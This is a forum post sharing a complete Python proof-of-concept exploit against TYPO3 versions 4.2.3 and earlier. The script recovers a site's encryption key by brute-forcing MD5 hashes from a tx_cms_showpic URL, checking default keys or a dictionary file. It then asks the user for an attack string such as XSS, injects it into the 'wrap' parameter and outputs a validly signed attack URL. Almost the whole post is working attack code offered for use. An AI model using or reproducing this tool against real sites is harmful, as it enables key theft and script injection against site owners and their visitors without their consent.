begood Posted April 10, 2010 Report Posted April 10, 2010 This short screen capture demonstrates the use of the Typo3 Encryption Key tool found on c22.cc. This tool exploits the weak encryption key found in versions 4.2.3 and earlier of Typo3 (see Typo3-sa-2009-001 / Insecure Randomness vulnerability). Typo3 Encryption Key Attack on Vimeooriginal script location : Tools/Scripts ©????²² (in)s??u?it?TYPO3EncKeyTool.py# TYPO3 Encryption Key - Proof of Concept## Chris John Riley# blog.c22.cc# contact@c22.cc# 16/12/2008 (23/01/2009)# Version: 1.23## Changelog# 1.23 --> Small corrections# 1.22 --> Fixed mistake in the attack string creation. Changed bodytag to bodyTag to corect mismatching MD5 results.import hashlibimport urllibimport getoptimport sysimport refrom string import splitfrom urlparse import urlparsedictionary = ''file= ''width = ''height = ''effects = ''bodytag = ''title = ''wrap = ''md5 = ''def main(): global file global width global height global effects global bodytag global title global wrap global md5 global enckey success = '' i = 0 urlquery = url.query.split('&') print " Base URL | ", baseurl while i < len(urlquery): # Loop through each part of the query urlsplit = urlquery[i].partition('=') j = 0 # Loop through to split the variables and values from the URL while j < (len(urlsplit)): if urlsplit[j].lower() in ("file", "width", "height", "effects", "bodytag", "title", "wrap", "md5"): if (urlsplit[j].lower() == "file"): file = urlsplit[j+2] # When split using partition the out put is "file" "=" "value" - j+2 is used to skip the "=" and set the value print " file | ", file elif (urlsplit[j].lower() == "width"): width = urlsplit[j+2] print " width | ", width elif (urlsplit[j].lower() == "height"): height = urlsplit[j+2] print " height | ", height elif (urlsplit[j].lower() == "effects"): effects = urlsplit[j+2] print " effects | ", effects elif (urlsplit[j].lower() == "bodytag"): bodytag = urlsplit[j+2] print " bodytag | ", bodytag elif (urlsplit[j].lower() == "title"): title = urlsplit[j+2] print " title | ", title elif (urlsplit[j].lower() == "wrap"): wrap = urlsplit[j+2] print " wrap | ", wrap elif (urlsplit[j].lower() == "md5"): md5 = urlsplit[j+2] print " md5 | ", md5 else: break else: break j = j+1 i = i+1 urlreform = urllib.unquote_plus("|".join((file, width, height, effects, bodytag, title, wrap)) +'|') print "\n" +"-" *80 print " Attempting to find a matching MD5" print "-" *80 print " Test string | ", urlreform +"<BRUTE-FORCE>|" print "-" *80 print " Desired MD5 | ", md5 print "-" *80 if default == True: # Attempt to check default Typo3 Encryption keys print "\n" +" Beginning default Encryption Key attack" y = 0 while y < 1000: # This section performs the MD5 hashing and comparison # By recreating the hash and comparing against the original from the URL # the Encryption Key can be recovered / brute-forced # Details on the process used can be found in the paper discussing the vulnerability md5def1 = hashlib.md5(str(y)) md5def2 = hashlib.md5(md5def1.hexdigest()) md5def3 = "".join((md5def1.hexdigest(), md5def2.hexdigest())) md5def4 = hashlib.md5(md5def3) md5def5 = "".join((md5def3, md5def4.hexdigest())) testinput = "".join((urlreform, md5def5)) +'|' testresult = hashlib.md5(testinput) if testresult.hexdigest() == md5: # Match brute-forced MD5 against the one from the URL success = True break y = y+1 if success: enckey = md5def5 print "\n" +"_" *80 print "=" *80 print "-" *80 print "\n Default Hash found is", md5def5 print "\n" +"_" *80 print "=" *80 print "-" *80 change = raw_input(' Do you want to use this Encryption key to create a new URL (y/n): ') if change == 'y': createlink() # Create valid URL using the recovered Encryption Key else: sys.exit() else: if dictionary == True: print "\n Default Hash not found. Proceeding to dictionary attack" else: print "\n Default Hash not found." if dictionary == True: # Attempt to brute-force the Encryption Key using a dictionary file print " Using dictionary file = ", dictfile try: for word in open(dictfile): # Loop through words in the file word = word.rstrip('\n') # Strip new line characters testinput = "".join((urlreform, word)) +'|' # Combine the word before creating the MD5 hash testresult = hashlib.md5(testinput) if testresult.hexdigest() == md5: # Compare the created hash to the one from the URL success = True break if success: enckey = word print "\n" +"_" *80 print "=" *80 print "-" *80 print "\n Encryption Key recovered .:", word print "\n" +"_" *80 print "=" *80 print "-" *80 change = raw_input(' Do you want to use this Encryption key to create a new URL (y/n): ') if change == 'y': createlink() # Create valid URL using the recovered Encryption Key else: sys.exit() else: print "-" *80 print " Encryption Key not found" print "-" *80 except IOError: print dictfile, "not found!" def usage(): print "\n\n" +"-" *80 print " Typo3 Encryption Key Tool" print "\n Version 1.22" print "-" *80 print "\n www.c22.cc" print "\n This Proof of Concept script takes input in the form of a" print " TYPO3 URL (specifically one using the tx_cms_showpic class)" print " The script will then perform a check against known default" print " Encryption Keys or use a dictionary file to perform a brute" print " force attack in an attempt to recover the Encryption Key in" print " use on the remote server. Once the Encrpytion Key is recovered" print " the option is given to insert an attack string (i.e. XSS)" print " into the wrap element of the URL passed to the command line." print " the script will then recalculate a valid MD5 using the recovered" print " Encryption Key and provide a valid attack URL to the user." print "\n\n Usage .:" print "\n -u / --url <'Complete URL within single quotes'>" print " -f / --file <Path to dictionary file>" print " -d / --default <Check against the default encryption keys>" print ""def createlink(): # Once the Encryption Key has been recovered / brute-forced, it's possible to alter the original URL to contain attack code (XSS code, etc..) # This section recreates the URI with a valid MD5 (created using the Encryption Key) print "\n Please insert your desired attack string." print " This string will be inserted into the" print " wrap section of the URL" attackstring = raw_input ('===> ') # Input attack code print " inserting", attackstring, "into the wrap tag" attackurl = "file=", file, "&width=", width, "&height=", height, "&effects=", effects, "&bodyTag=", bodytag, "&title=", title, "&wrap=", attackstring, "&md5=" attackurl = urllib.unquote_plus("".join((attackurl))) # Link all variables together before creating the new MD5 attackmd5 = urllib.unquote_plus("|".join((file, width, height, effects, bodytag, title, attackstring, enckey)) +'|') print attackmd5 attackmd5 = hashlib.md5(str(attackmd5)) attackmd5 = attackmd5.hexdigest() # We now have the newly created MD5 attackurl = "".join((str(attackurl), str(attackmd5))) attackurl = "".join((attackurl)) attackurl = "&".join((baseurl, attackurl)) print "\n" +"_" *80 print "=" *80 print "-" *80 +"\n" print " Attack string .:\n\n" # Attack string is output with newly created MD5 hash print "", attackurl print "\n" +"_" *80 print "=" *80 print "-" *80try: opts, args = getopt.getopt(sys.argv[1:], "u:f:dh", ["url=", "file=", "default", "help"])except getopt.GetoptError: usage() sys.exit(2)if len(sys.argv) < 4: usage() sys.exit(2)for opt, arg in opts: if opt in ("-h", "--help"): usage() sys.exit() elif opt in ("-u", "--url"): url = urlparse(arg, scheme='http', allow_fragments=False) eID = url.query.split('&')[0] baseurl = "?".join((("".join((("://".join((url.scheme, url.netloc))), url.path))), eID)) # Recreate the URL up to the end of the eID parameter elif opt in ("-f", "--file"): dictfile = arg dictionary = True elif opt in ("-d", "--default"): # Check that the Typo3 Encryption key isn't set to a default value default = Trueprint "\n" +"_"*80print "-"*80print "\n" +" TYPO3 4.2.3 Offline Encryption Key brute forcer"print " Chris John Riley (blog.c22.cc)"print " Version 1.23 (March 2010)"print "\n" +"_"*80print "-"*80print "\n" +" Data extracted from URL .:" print ""if __name__== '__main__': main() Quote